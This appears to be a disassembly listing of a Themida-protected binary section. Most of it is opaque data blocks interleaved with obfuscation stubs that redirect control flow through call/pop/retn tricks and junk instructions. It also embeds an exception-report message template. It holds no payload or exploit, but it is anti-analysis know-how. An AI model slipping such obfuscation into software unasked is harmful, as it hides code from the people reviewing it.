		dd 95FF71B6h, 7E41921h,	0D2B7D781h, 0C0856890h,	21850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0A36B7C3h, 6AF5C8C4h, 35952310h, 8307E41Eh
		dd 0E42BFDBDh, 840F0007h, 3Bh, 2C33858Dh, 6A07E7h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0FD345DC3h, 0A83BBDB0h, 0BD891D76h, 7E4089Dh, 32E9h
		dd 9ECA8100h, 8D7DDA32h, 0E72C0985h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 678A4273h
		dd 0F1BD2984h, 5007E41Bh, 0B5FFF38Ah, 7E72BD6h,	0FBBEB6BFh
		dd 0CE95FF3Ah, 2907E72Bh, 0E422359Dh, 0C085F507h, 2A850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0A4F8D2C3h, 80089A73h, 0C2812CD2h, 4646C2B9h
		dd 2BDA8589h, 8D8B07E7h, 7E407A5h, 0AE9006Ah, 26000000h
		dd 3DCB67D7h, 0D137B2C2h, 0C59533D0h, 6A07E420h, 0B5FFFC00h
		dd 7E72BDAh, 1658D2Bh, 95FF07E4h, 7E72BC6h, 0C085D78Bh
		dd 23850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BD569C3h, 0E4219D95h, 0DAB5FF07h
		dd 0BA07E72Bh, 49D99753h, 192195FFh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BCEA3CC3h
		dd 8C14ABECh, 0FC08584h, 2685h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 15BBA910h
		dd 0BFBFE88Ah, 6A0B206Dh, 0D1952900h, 6807E423h, 80h, 8E9h
		dd 0C7FF9D00h, 0FFA5479Ch, 6AD68B1Fh, 810F03h, 6A000000h
		dd 0FE8B6600h, 0BD89006Ah, 7E41609h, 68h, 50006AC0h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 4550B265h, 7FC7B8FCh, 13E99D30h, 0A1000000h,	0AE2E2EAEh
		dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0B5FFD97Ch,	7E72C52h
		dd 14D9B589h, 95FF07E4h, 7E41FD5h, 0FFFF883h, 56A85h, 6820F00h
		dd 8B000000h, 0E426758Dh, 0C085FF07h, 8307E736h, 0E736C0BDh
		dd 840F0207h, 477h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 92C35747h, 80B2705Dh,	0C2818FC6h, 57623984h
		dd 243B858Dh, 8166005Bh, 0FFB08ECAh, 8D24B6D0h,	5B1E8E85h
		dd 9E800h, 0C9F70000h, 8C310934h, 899E7BB3h, 0E419AD85h
		dd 0D0FF5A07h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3C35141h, 43484B73h, 24122B48h,	611CD781h, 0C08B18D4h
		dd 818BEA80h, 1C8E36CAh, 0F1BD835Ch, 7E413h, 0BD830975h
		dd 7E40935h, 50197400h,	0B8C08B53h, 7D8h, 14798589h, 9D8D07E4h
		dd 7E6E9F0h, 585BD3FFh,	935BD83h, 740007E4h, 0B8535017h
		dd 7D8h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B9C35747h, 0BF66BF4Dh
		dd 0C08B7AACh, 165DBD8Bh, 3F6807E4h, 6A000F00h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 479C352h, 0B13DC8ACh, 8D8B6D49h, 7E4188Dh, 9D89006Ah
		dd 7E40199h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 63A8FEC3h, 370EFAB4h, 230D95FFh
		dd 0C08507E4h, 0DE8h, 0FED26700h, 9689617Ah, 0E2CBC6FFh
		dd 8960D2F4h, 0E42301BDh, 0BE907h, 5D9F0000h, 154AB9BBh
		dd 0AF4668FCh, 895F6117h, 0E72BD685h, 576DBA07h, 0FF6803D5h
		dd 81000F01h, 5B5A55F1h, 0CA816644h, 0BD83C158h, 7E42BFDh
		dd 4A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2DFBC352h, 0A463D86Ch
		dd 0F9286BCh, 680h, 0A98D3300h,	8907E42Fh, 0E43051B5h
		dd 33858D07h, 0F07E72Ch, 41E9CEBFh, 89000000h, 0E40DA99Dh
		dd 9858D07h, 6A07E72Ch,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4646C353h, 0C76813EDh
		dd 0E0694EAFh, 0E9D3B70Fh, 8, 0F07BFDC1h, 67000B12h, 4D8D0350h
		dd 0FF07E427h, 0E72BD6B5h, 0BDB52907h, 0FF07E422h, 0E72BCE95h
		dd 68B0F07h, 8B000000h,	0E4266995h, 11BD8B07h, 8907E42Eh
		dd 0E72BDA85h, 0DA816607h, 85C72ADDh, 7E41831h,	0
; ---------------------------------------------------------------------------
		mov	di, 0CD1Bh
		cmp	dword ptr [ebp+7E72BDAh], 0
		jz	loc_5B860C
		pusha
		cmc
		mov	ch, 6Bh
		popa
		lea	eax, [ebp+7E72EB8h]
		sub	di, 816Bh
		push	eax
		mov	edi, [ebp+7E42115h]
		push	1
		push	0
		push	edx
		call	sub_5B844D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B844D	proc near		; CODE XREF: Themida_:005B8445p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B844D	endp

; ---------------------------------------------------------------------------
		db 20h,	29h, 8Dh
		dd 7E42165h, 0BE8h, 0B8924E00h,	45D4AF0Dh, 5FBF0D48h, 0E2C494BFh
		dd 0B5FF594Eh, 7E72BDAh, 0D295FFFCh, 107E72Bh, 0E400FD8Dh
		dd 0DAB5FF07h, 0F807E72Bh, 192195FFh, 820F07E4h, 6, 111B529h
		dd 0FF6807E4h, 81000F01h, 0C1F795C9h, 0FDBD835Bh, 7E42Bh
		dd 2A840Fh, 0CE90000h, 3E000000h, 9120E2Fh, 0C00C5A17h
		dd 8D6A3E48h, 0E72C3385h, 2800F07h, 0B2000000h,	5BE95Eh
		dd 0BD8B0000h, 7E4181Dh, 2C09858Dh, 6A07E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0D187C3h
		dd 12E9EDh, 0F5200000h,	976E2100h, 0CA97D276h, 0CECE0DD1h
		dd 20A3C49h, 14E9h, 0AAAD4F00h,	0ACAECF6Ch, 4892FEBAh
		dd 5C51CD80h, 27CC0C06h, 6A50C1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F53D24C3h, 6B93487Bh
		dd 0D6B5FF24h, 6A07E72Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 760BC356h, 707E062Eh
		dd 0FC3135ADh, 0A630BF66h, 2BCE95FFh, 6A07E7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B868CEC3h, 9E823h, 0A6A60000h, 6E406420h, 6604F380h
		dd 665FCB8Bh, 89FC64BAh, 0E72BDA85h, 55BD2B07h,	8B07E41Dh
		dd 0E40D7D95h, 0DAB5FF07h, 907E72Bh, 0E40125BDh, 0CA95FF07h
		dd 8907E72Bh, 0E426419Dh, 0DAB5FF07h, 8907E72Bh, 0E418159Dh
		dd 2195FF07h, 6607E419h, 4358CA81h
; ---------------------------------------------------------------------------


loc_5B860C:				; CODE XREF: Themida_:005B8423j
		jmp	near ptr dword_5B74C8+7ECh
; ---------------------------------------------------------------------------
		sub	[ebp+7E40DE5h],	esi
		push	dword ptr [ebp+7E73723h]
		add	edx, 5B6AC89Ch
		call	dword ptr [ebp+7E43061h]
		mov	edi, [ebp+7E40291h]
		mov	eax, [ebp+7E42215h]
		push	0
		push	edi
		call	sub_5B8640
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8640	proc near		; CODE XREF: Themida_:005B8638p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5B8640	endp

; ---------------------------------------------------------------------------
		dd 0CCC8D57Ch, 44E98483h, 8B000005h, 0BD8D89F9h, 8D07E406h
		dd 0E72ED8B5h, 0ADB58907h, 107E424h, 0E42EED95h, 0D6858D07h
		dd 2907E6DBh, 0E4159D95h, 99952907h, 0FF07E431h, 93ED80D0h
		dd 0F781006Ah, 2EAE174Ah, 166595FFh, 8B6607E4h,	89F38BCEh
		dd 0E421F5B5h, 0D6858D07h, 8B07E6DBh, 0E4008995h, 29D0FF07h
		dd 0E405F9B5h, 6A006A07h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7755C350h, 6850FB3h
		dd 89000000h, 0E408ED85h, 6595FF07h, 8B07E416h,	83CA8BC0h
		dd 0E413F1BDh, 9750007h, 935BD83h, 740007E4h, 8B535019h
		dd 7D9B8C0h, 85890000h,	7E41479h, 0E9F09D8Dh, 0D3FF07E6h
		dd 0BD83585Bh, 7E40935h, 50177400h, 7D9B853h, 85890000h
		dd 7E41479h, 0E6DF9D8Dh, 0D3FF07E6h, 9531585Bh,	7E40455h
		dd 99BD8950h, 5A07E401h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0B7AD8AC3h, 50FFB70Fh
		dd 2C698D8Bh, 0CE8B07E4h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0D5602CC3h, 0B0BA8614h
		dd 29958B30h, 5307E423h, 2E59D8Dh, 38B07E4h, 438B0389h
		dd 50438950h, 36BC9D8Dh, 38B07E7h, 0BF5B0389h, 909A0E4h
		dd 1275BD89h, 6A07E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0F6C35141h, 0E91EF8BCh, 0Fh, 0ACAECF6Ch
		dd 4892FEBAh, 5C51CD80h, 2BCC0C06h, 0E40D7DBDh,	0BC858D07h
		dd 0B107E736h, 958D89BCh, 5007E42Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 88C35646h, 0A84299AFh, 8951F4B7h
		dd 0E42F919Dh, 89606A07h, 0E43311B5h, 0E5858D07h, 907E402h
		dd 0E42D2985h, 0FB8B5007h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9529E7C3h
		dd 7E414E9h, 0B850Fh, 820F0000h, 5, 5C99C8B9h, 89006A5Eh
		dd 0E42299B5h, 18006807h, 8D8B0000h, 7E42639h, 0DE95253h
		dd 0E6000000h, 67661CD9h, 0D6868890h, 96FFE6D6h, 595FF5Fh
		dd 0E907E414h, 8, 51A10BF9h, 0EE2B14E8h, 0F1958960h, 8907E431h
		dd 0E42DE99Dh, 95FF6107h, 7E40971h, 26D5958Bh, 0B5FF07E4h
		dd 7E73723h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	31C35242h, 5882568h, 81B11D9Ch,	89A8E3F7h, 0FBBF0F52h
		dd 0FFD68B66h, 0E4306195h, 0D58D0107h, 8D07E412h, 0E402E585h
		dd 6860F07h, 8B000000h,	0E42689BDh, 18408B07h, 25018D89h
		dd 85C707E4h, 7E4065Dh,	0
; ---------------------------------------------------------------------------
		movsx	ecx, di
		cmp	dword ptr [ebp+7E42BFDh], 0
		jz	loc_5B8991
		push	0
		push	edi
		call	sub_5B895B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B895B	proc near		; CODE XREF: Themida_:005B8953p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5B895B	endp

; ---------------------------------------------------------------------------
		align 4
		jge	short near ptr byte_5B8990
		mov	cx, 43DCh
		cmp	eax, 8Ch
		jnb	loc_5B8ADE
		jmp	loc_5B89A2
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 9, 3800Fh, 0CD800000h
byte_5B8990	db 0Ah			; CODE XREF: Themida_:005B896Cj
; ---------------------------------------------------------------------------


loc_5B8991:				; CODE XREF: Themida_:005B894Aj
		cmp	eax, 98h
		jnb	loc_5B8ADE
		mov	ecx, [ebp+7E41A85h]


loc_5B89A2:				; CODE XREF: Themida_:005B897Dj
		lea	eax, [ebp+5B243Bh]
		mov	edi, [ebp+7E4191Dh]
		call	eax
		movsx	ecx, bx
		lea	eax, [ebp+5B1E8Eh]
		or	[ebp+7E4191Dh],	edi
		call	eax
		push	0
		push	edi
		call	sub_5B89CC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B89CC	proc near		; CODE XREF: Themida_:005B89C4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B89CC	endp

; ---------------------------------------------------------------------------
		dd 8DF2989Dh, 91D2A022h, 69958B9Ch, 8B07E42Ch, 0CBB966C0h
		dd 12E9D2h, 70AD0000h, 98B35BE2h, 0ACC8138h, 159D4132h
		dd 579E1275h, 13F1BD83h, 750007E4h, 35BD8309h, 7E409h
		dd 53501974h, 0C6B8C08Bh, 8900000Bh, 0E4147985h, 0F09D8D07h
		dd 0FF07E6E9h, 83585BD3h, 0E40935BDh, 17740007h, 0C6B85350h
		dd 8900000Bh, 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 8B585BD3h
		dd 0E424298Dh, 69BD8907h, 8B07E418h, 0FB8B66C0h, 1CA5B589h
		dd 0F88307E4h, 4C850FFFh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 3DF9C356h
		dd 0F114DEB8h, 0C7F7C680h, 0E42A7585h, 7, 6830F00h, 81000000h
		dd 0A8C5B3E2h, 9AE96Fh,	0BD890000h, 7E41EB1h, 17E9h, 835A5200h
		dd 850F01F8h, 0Ch, 0ABD9523h, 0CCE907E4h, 0F9000000h, 0FFF1DBE9h
		dd 3E24BFFFh
		db 0BEh, 39h
; ---------------------------------------------------------------------------


loc_5B8ADE:				; CODE XREF: Themida_:005B8977j
					; Themida_:005B8996j
		mov	eax, eax
		mov	edx, [ebp+7E41F39h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B8AF8
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B8B11


loc_5B8AF8:				; CODE XREF: Themida_:005B8AEDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B8B11:				; CODE XREF: Themida_:005B8AF6j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B8B31
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B8B31:				; CODE XREF: Themida_:005B8B18j
		movsx	edx, bx
		mov	eax, eax
		mov	ecx, 1572F4BBh
		mov	[ebp+7E41FD9h],	esi
		jmp	loc_5B8DB0
; ---------------------------------------------------------------------------
		mov	[ebp+7E40E4Dh],	ebx
		lea	eax, [ebp+7E734C0h]
		push	0
		push	ebx
		call	sub_5B8B5D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8B5D	proc near		; CODE XREF: Themida_:005B8B55p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5B8B5D	endp

; ---------------------------------------------------------------------------
		db 34h,	55h, 2Fh
; ---------------------------------------------------------------------------
		mov	edi, 0CE9h


loc_5B8B75:				; CODE XREF: Themida_:005B8B7Bj
		add	[ecx+59774B10h], ch
		loope	loc_5B8B75
; ---------------------------------------------------------------------------
		db 0CDh, 0B9h, 24h
		dd 858968F3h, 7E736B8h,	1C51958Bh, 858907E4h, 7E418FDh
		dd 55E9h, 7D8D8900h, 8D07E41Ch,	0E732C885h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BADA3444h, 0F8DC89Ch, 83h, 7D850100h, 0BF07E416h, 225F77F7h
		dd 459D8940h, 8907E403h, 0E736B885h, 0CEB70F07h, 49AFE981h
		dd 346A304Ch, 30C1858Dh, 0FF5007E4h, 0E736B8B5h, 0FF006A07h
		dd 0E4216195h, 7F88307h, 168840Fh, 8C660000h, 4C3F6DBh
		dd 102850Fh, 85C60000h,	7E42C2Dh, 0B8526856h, 0B5FF9CA8h
		dd 7E4019Dh, 3BDC858Dh,	0D0FF07E4h, 68046Ah, 6A000010h
		dd 0FF006A64h, 2B8589D0h, 0C607E737h, 0E42C2D85h, 9B684707h
		dd 0FFEC18ACh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 8BD0FFD0h
		dd 2D85C6F0h, 4F07E42Ch, 2F266168h, 0E1B5FFC6h,	8D07E40Dh
		dd 0E43BDC85h, 8DD0FF07h, 0E737279Dh, 286A5307h, 85D0FF56h
		dd 0C60075C0h, 0E42C2D85h, 98684107h, 0FFDB8764h, 0E40DE1B5h
		dd 0DC858D07h, 0FF07E43Bh, 448589D0h, 0C607E737h, 0E42C2D85h
		dd 0A4684C07h, 0FF80A4E7h, 0E40DE1B5h, 0DC858D07h, 0FF07E43Bh
		dd 2B9D8BD0h, 8D07E737h, 8D53045Bh, 0E737309Dh,	6A5307h
		dd 9D8BD0FFh, 7E7372Bh,	103C7h,	43C70000h, 20Ch, 219D8B00h
		dd 0C707E418h, 0E4014985h, 7, 6A006A00h, 8B006A00h, 0E7372B9Dh
		dd 6A5307h, 3727B5FFh, 95FF07E7h, 7E73744h, 2C2D85C6h
		dd 684507E4h, 92A5F797h, 1DE1B5FFh, 858D07E4h, 7E43BDCh
		dd 6AD0FFh, 0D0FF026Ah,	0F6DB8C66h, 327504C3h, 372B9D8Bh
		dd 43C707E7h, 0Ch, 6A006A00h, 2B9D8B00h, 5307E737h, 0B5FF006Ah
		dd 7E73727h, 374495FFh,	0B5FF07E7h, 7E73727h, 97195FFh
		dd 6A07E4h, 166595FFh, 0B58907E4h, 7E412D9h, 2BA59589h
		dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 2B0173C3h, 664617C5h, 67AF781h
; ---------------------------------------------------------------------------


loc_5B8DB0:				; CODE XREF: Themida_:005B8B41j
		lea	eax, [ebp+7E76AE8h]
		push	0
		push	ebp
		call	sub_5B8DC1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8DC1	proc near		; CODE XREF: Themida_:005B8DB9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B8DC1	endp

; ---------------------------------------------------------------------------
		db 7Fh,	0B3h, 0FCh
		dd 3848BAEEh, 0BA66B3D1h, 0F50E6CAh, 680h, 7BCA8100h, 6453815Ah
		dd 35FFh, 0BD8B0000h, 7E40B99h,	258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F27BC355h, 0F0B16C3Eh, 5DBD83F8h, 7E401h, 7F840Fh
		dd 958B0000h, 7E40219h,	2015BD83h, 0F0107E4h, 6C85h, 81DE8000h
		dd 3B44BD80h, 0F0007E7h, 5C85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 508CA801h
		dd 5ACF8B52h, 11E9605Fh, 0C0000000h, 276A3E48h,	0B814371Fh
		dd 0FE0CD82Fh, 0EFA4240Ch, 0DE8h, 0DDED8000h, 0AA6492C2h
		dd 6FB12B3Dh, 0F9BE5FB0h, 586BB026h, 1B9E961h, 0B70F0000h
		dd 0BADB33FFh, 1EFB608Ch, 6AC033h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 142B4AC3h, 136FA0Ch
		dd 0E40B9D8Dh, 3F0F4007h, 8F640B07h, 5,	4C48300h, 73826CBAh
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 533EC04h, 0DC6F6D15h, 83F9F976h,	840FFFFBh
		dd 29h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 0A6C35747h, 0E9B8CCEFh, 115h, 0A07905BAh, 8CE92Dh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0EA18C7C3h, 0ADD61F80h, 8B46B24Bh, 0C70C244Ch, 0A481h
		dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h,	550C245Ch
		dd 0E8h, 0ED815D00h, 7E76B0Ah, 0B8838Bh, 858D0000h, 7E76BD8h
		dd 0B88389h, 335D0000h,	8166C3C0h, 6A5CFFC9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 8B8AC351h, 6672FB69h, 858DCF8Bh, 7E76B00h, 10E860h
		dd 1B910000h, 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 9D0173B0h
		dd 7E427ADh, 7E959h, 59320000h,	17FA4F96h, 66506115h, 8BF489B9h
		dd 0E417F18Dh, 35FF6407h, 0
		dd 85958Bh, 896407E4h, 25h, 28B0F00h, 0B2000000h, 0AB958h
		dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 2D85C70Ah
		dd 107E40Eh, 64000000h,	58Fh, 0C4830000h, 0CA8B6604h, 8BC08BF9h
		dd 0E403DD95h, 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h
		dd 50197400h, 0B8C08B53h, 43Dh,	0EED8589h, 9D8D07E4h, 7E6EA57h
		dd 585BD3FFh, 935BD83h,	740007E4h, 0B8535017h, 43Dh, 0EED8589h
		dd 9D8D07E4h, 7E6E6F8h,	585BD3FFh, 2679B529h, 0C08B07E4h
		dd 147E9h, 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2D7DBD83h, 0F0007E4h
		dd 12D84h, 0F858D00h, 5007E6E5h, 0E479858Dh, 685007E6h
		dd 80000001h, 0E51F95FFh, 858D07E6h, 7E76C46h, 50858D50h
		dd 5007E76Ch, 6A006Ah, 0E48D858Dh, 0FF5007E6h, 0E6E50FB5h
		dd 0F995FF07h, 8D07E401h, 0E76C4685h, 858D5007h, 7E76C54h
		dd 6A006A50h, 9F858D00h, 5007E6E4h, 0E50FB5FFh,	95FF07E6h
		dd 7E401F9h, 6C46858Dh,	8D5007E7h, 0E76C6085h, 6A5007h
		dd 858D006Ah, 7E6E4ECh,	0FB5FF50h, 0FF07E6E5h, 0E401F995h
		dd 46858D07h, 5007E76Ch, 6C68858Dh, 6A5007E7h, 8D006A00h
		dd 0E6E50A85h, 0B5FF5007h, 7E6E50Fh, 1F995FFh, 858D07E4h
		dd 7E76C46h, 64858D50h,	5007E76Ch, 6A006Ah, 0E4F3858Dh
		dd 0FF5007E6h, 0E6E50FB5h, 0F995FF07h, 8D07E401h, 0E76C4685h
		dd 858D5007h, 7E76C58h,	6A006A50h, 0FB858D00h, 5007E6E4h
		dd 0E50FB5FFh, 95FF07E6h, 7E401F9h, 6C46858Dh, 8D5007E7h
		dd 0E76C5C85h, 6A5007h,	858D006Ah, 7E6E502h, 0FB5FF50h
		dd 0FF07E6E5h, 0E401F995h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h
		dd 0A2E907h, 0BD830000h, 7E41525h, 95840F00h, 83000000h
		dd 0E42015BDh, 850F0007h, 11h, 2D39958Bh, 0C28107E4h, 1CF8h
		dd 0FE9h, 0E5958D00h, 8B07E402h, 0C2813452h, 3BD4C340h
		dd 169D9589h, 0BD8307E4h, 7E4169Dh, 55840F00h, 8B000000h
		dd 0E4169D9Dh, 4CC38307h, 8589038Bh, 7E76C50h, 169D9D8Bh
		dd 0C38307E4h, 89038B50h, 0E76C5485h, 9D9D8B07h, 8307E416h
		dd 38B54C3h, 6C608589h,	9D8B07E7h, 7E4169Dh, 8B58C383h
		dd 64858903h, 8B07E76Ch, 0E4169D9Dh, 5CC38307h,	8589038Bh
		dd 7E76C58h, 2D7DBD83h,	0F0007E4h, 0D85h, 25BD8300h, 7E415h
		dd 68840Fh, 0B5FF0000h,	7E76C68h, 6C5CB5FFh, 0B5FF07E7h
		dd 7E76C58h, 6C64B5FFh,	0B5FF07E7h, 7E76C60h, 6C54B5FFh
		dd 0B5FF07E7h, 7E76C50h, 6C4A858Dh, 8D5007E7h, 0E76C8285h
		dd 858D5007h, 7E43359h,	6995FF50h, 8307E421h, 406A24C4h
		dd 6C6C858Dh, 8D5007E7h, 0E4335985h, 6A5007h, 216195FFh
		dd 16A07E4h, 166595FFh,	0C18B07E4h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E77016h
		dd 4C261h, 0FFFFE6E9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_5B94B1	proc near		; CODE XREF: Themida_:005B94B6j
					; DATA XREF: Themida_:00583A8Co
		pusha
		popa
		retn	8
sub_5B94B1	endp

; ---------------------------------------------------------------------------
		jmp	sub_5B94B1
; ---------------------------------------------------------------------------


loc_5B94BB:				; CODE XREF: Themida_:005B94C0j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B94BB
; ---------------------------------------------------------------------------


loc_5B94C5:				; CODE XREF: Themida_:005B94CAj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B94C5
; ---------------------------------------------------------------------------


loc_5B94CF:				; CODE XREF: Themida_:005B94D4j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B94CF
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0C3616000h, 0FFFFF8E9h, 4EB58BFFh, 8107E770h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 52B53B00h, 0F07E770h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 169D858Bh, 188607E4h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0DD95FF08h, 5007E419h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 169D858Bh, 0C607E4h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 7E4169Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 7E426B5h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5B95E3
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+7E426B5h], 100h


loc_5B95E3:				; CODE XREF: Themida_:005B95D4j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
